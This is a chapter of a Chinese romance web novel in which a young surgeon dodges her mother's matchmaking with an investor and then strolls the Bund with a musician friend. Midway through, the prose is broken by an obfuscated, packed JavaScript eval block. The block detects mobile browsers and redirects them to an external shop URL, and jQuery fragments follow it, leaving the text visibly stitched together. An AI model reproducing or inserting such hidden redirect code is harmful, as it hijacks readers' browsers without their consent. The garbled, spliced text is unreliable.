从公寓搬出来这件事,仲辛成和曲清早晚都会知道,而且风会乱吹,不过周沄声的身份却没传出去,仲希文突然对自己身边人的素质肃然起敬。
六院周末只开上午半天门诊,曲清约她喝下午茶。
按照对她这个独生女的管教程度,他们还是最终派出了代表来谈话。
宿醉后还有些郁闷情绪,仲希文给学生陆枫发信息,叮嘱他整理好病历,按时查房做好记录,尤其要注意23床大叔的血糖血压。
这孩子有时候犯懒,不说就不做,还说自己本就没打算留在人人忙成狗的六院。
厨房里煨茶叶蛋的锅咕嘟咕嘟滚着,从进复大开始她就成了吃货,在充满小白鼠和福尔马林的生活中,她拼命拿奖学金、进实验组赚补贴,到手的那点钱就为了两件事——买门票、吃东西。
仲希文回复:【好,时间地点您定】
二楼有了动静,几分钟的水声之后,周沄声穿着一身白色的睡衣下楼。
仲希文:“我吵着你了?”
周沄声:“算吧,不是声音是香味。”
仲希文会心一笑,“煮的茶叶蛋,按我的口味煮的,我会放一两个辣椒和半听可乐。”
“秘方哦,那我也肯定要尝一尝。”
想起来怪不好意思的,她体重100,他体重116,难为他昨夜扛醉鬼回家。
“你今天不用上班吗?”
周沄声正在厨房揭锅盖,“看上去很好吃,可以教我吗?”
“等你有空教你,先喝一碗小米粥加酱黄瓜,我今天旷工但我妈约我喝茶,你呢?”
“我也想赶快忙完,但编曲老师今天申请休息,其实我本来不需要参与这些前期的准备工作,但我想早点进入状态,我想可能会帮到一些。”
“所以你的工作是什么?”
“算音乐指导和乐团指挥。”
不是仲希文理解的领域,但是他想吃茶叶蛋的话,得说到能让她明白。
“有位叫凌茉的女歌星原是附中毕业后来去了伯克利,她的跨年表演想跟附中合作,我现在是她临时团队的一员而已。”
“所以你昨天不会是跟凌茉吃饭吧?”仲希文张大了嘴,“哇,她很有名哎,真人长得比电视里好看吗?”
周沄声不知道自己该为哪个问题点头,“我应该可以争取到门票,到时留给你。”
“那我能看到你上台吗?”
“可以,介意只是背影吗?”
“我知道是你就行。下午要不要出去走走?”仲希文当着他的面把通讯录里面他的备注名字改成了“A主任”。
“这是什么意思?”
“这样的话你打电话给我就可以救我,我不能推辞主任给我的工作啊,懂不懂?”仲希文吐槽说,“我妈大概要来问我和你的事情,在这种问题上面她很机车。”
像极了小孩的坏心思,但又很有用。
下午茶约在苏州河畔,可以漫步外滩也可以散步去南京路,或者还可以由观光隧道去陆家嘴。
隔着一段距离,仲希文就看见曲清身边还有一位年轻男子,来者不善吧。周沄声先仲希文五分钟进门,点了杯惯喝的冰美式。
曲清见到不修边幅的女儿本想唠叨几句,但外人在场,女儿的面子她还是要给的。
刚坐下仲希文就想起来这男的是谁了,曲清公司的投资人之一,一个公司分好几轮融资,投资人多到一个圆桌都坐不下了。
但这位有些特别,他的父亲领投了天使轮,成了最早的投资方,这位少爷今年年初接的班,一开始主张以股权出售的方式退出。印象中他应该还不到30岁。
“万嘉莱万总,你之前是见过的。”曲清其实不确定女儿记不记得,但装一下她总是会的。
“万总好,我是仲希文,在六院工作。”仲希文朝周沄声的方向瞄了一眼,幅度很小但曲清还是觉察到了。
“万总呢这回参与了一个5G医疗项目,之前你不是跟我说过想做手术机器人5G网络远程手术,妈妈帮你牵个线。”
怕是不止一根线吧,“这太好了,明天我们主任不上班儿,周一我找他说,万总带项目方介绍了么,另外就是我话说前面,这个你们前一年得免费服务。”
一聊工作仲希文还是带劲,说其实很多医院都开始了远程医疗,但六院真的是太忙,自己的手术都做不过来,哪有工夫帮别家做啊,但是总不能一直人有我无,这等同于落后。
又细数今年做的几个高难度手术和参与的几个国家级医疗项目,喝下去的咖啡都不够补充她滔滔不绝消耗的口水。
万嘉莱可不是来听这些的,只能应付着夸夸:“仲医生很适合做项目推介啊,比我参加的几次公司融资路演都讲得专业。”
“是吧,我就说我干临床太屈才了。”
“少蹬鼻子上脸,你这张嘴啊……跟谁学的?”
约定好的救赎电话该进来了,仲希文悄悄把手机往曲清身边推了推,“妈,我听说这家的蛋糕好吃,我能打包几块吗?”
“怎么,要我给你买?”
“不是不是……”电话进来了,仲希文点点屏幕,“主任找我,喂主任,您今天不是陪闺女去看话剧么?”
接下去全靠演技。
“你电话给我一下,我跟你们主任说两句,不耽误你赶回去工作。”
“不了吧,多不正式?”仲希文紧捂着手机。
周沄声也一直观察着,看情况不对火速挂了电话,但曲清竟然拿了女儿的手机回拨了过来。周沄声匆忙锁了手机。
“您看我们主任是真有事。”
曲清拧了下眉,从来没有怀过恶意去想自己的女儿,“你有工作就先走吧,晚上空了给我打个电话,跟我说说你那个台城来的朋友,你姑奶奶的事儿我知道不多,如果真的是故人之后,你别怠慢了人家。”
“好的妈妈,万总我们下周约时间再聊,线上会议就行,初步聊一聊。”
万嘉莱客气着点头,“蛋糕我帮你去打包,几分钟不耽误吧?”
“不吃了不吃了,我这人一有事就没胃口,万总我们保持联系,早点推进项目。”说完拿起外套和包,跑出了赶往急诊救人的速度。
周沄声默不作声,从咖啡店的另一边门出去,沿着仲希文的逃跑路线一路往前,被风吹起的风衣下摆划出一道弧线。
曲清惋叹:“她从港城回来那时候我就劝她别进医院,治病救人也不是都要冲在前线,可这孩子说自己临床都做不好怎么妄谈做别的。”
“是啊,曲总您也是临床出身,更懂医院更懂病人和疾病,做事自然事半功倍。”万嘉莱喝完最后一口咖啡,“她聊她的专业,很有气场。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408887|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>曲清笑笑,眼前的男子太过聪明太会算计,虽她有意撮合但却也明白这人并非仲希文能拿捏得住的,她女儿是个大咧咧的直肠子,今天既然女儿这方面的心思一点也没有,就随缘吧。
周末的外滩人潮涌动。走过外白渡桥之后,仲希文三步一回头,确认周沄声没有跟丢。
她不走了,看着周沄声越过人潮向她走来,风吹起他的刘海,露出饱满光洁的额头,原来在如此密集的人群里,他突出到能跨越图层。
岁月和伤病沉淀在他身上的东西,像锋利的刻刀落于玉石,在原本就无二的材质上雕出细腻的纹路,他这棵松让翡翠里的那抹绿有了生命。
仲希文想,自己是不是可以让这棵松活得更旺盛一些。
“啊——”
一个熊孩子狠狠撞了下仲希文,幸好被周沄声稳稳搂住,下巴磕在他肩上。
一点都不疼,还让她有机会再一次和周沄声亲密接触,但是小孩这么不懂事是不对的,仲希文转身瞪了一眼,平时碰到小小年纪因为贪玩进医院修骨头的娃,她都要损两句。
“我们没事啦,但小朋友需要跟姐姐道个歉。”
没想到他竟然会这么说,仲希文本来瞪完一眼就算报仇,随它去了。
家长拎着孩子的领子催他道歉,小孩一脸的委屈巴巴:“姐姐对不起。”
仲希文:“没关系,这里人多不要跑,慢慢走不会摔跤。”
话都说完了,仲希文发现自己还贴着他,紧紧地贴着,他放在她腰上的手也没放开,觉醒像断电,正负两极瞬间被分开。
衣服穿多了,他手按在腰上的触感仲希文都没感觉到,他抱得再用力一点点就好了!就像吃甜品,太贵的话她可以只买一口的量,总比没吃过强啊。
至于昨夜,人醉了心态也麻了,记忆像梦境,她感受得不真切。
“这里你来过的,有一组照片背景就是这栋带个大钟的楼。”
“嗯,海关大楼。”
“你一个外地人直接说出这个名字显得我好没文化,我都不知道。”
“是吗?”周沄声笑了几声,“因为我其实挺喜欢大楼,小时候我大部分时间都在练琴,学习很差啦,怎么修建大楼我肯定学不会,所以就搜集了很多模型和明信片,当然记得比你多。”
“真的啊,我们粉丝都不知道哎。”
“干嘛让你们知道,想你们送我大楼?”
没想到他还会开玩笑,仲希文要笑死,“你肯定没逛过这边的小便利店吧,就说对面那个东方明珠塔,我可以去店里买一个水晶的送你。”
“这个就算了吧,我不喜欢尖利的东西。”
“那就不要了,你知道吧,京城的四合院申城的老洋房,都很贵的,你现在就住在里面,算我送你的,”仲希文把手机交给他,并取下头上的鱼骨夹,一头秀发散开,“我也要在这里拍照,起码要有一个九宫格。”
走走拍拍,仲希文起码能挑出一个十八宫格,在餐厅上菜前,修完图美美地发了个朋友圈。
第一道凉拌海蜇刚上,曲清的电话就进来了。
“你下午不是加班去了吗,照片什么时候拍的?”
“妈,对不起,我下次肯定会记得屏蔽你。”
趁曲清骂人之前,仲希文挂了电话,美食美男在前,一切破坏气氛的存在必须斩立决。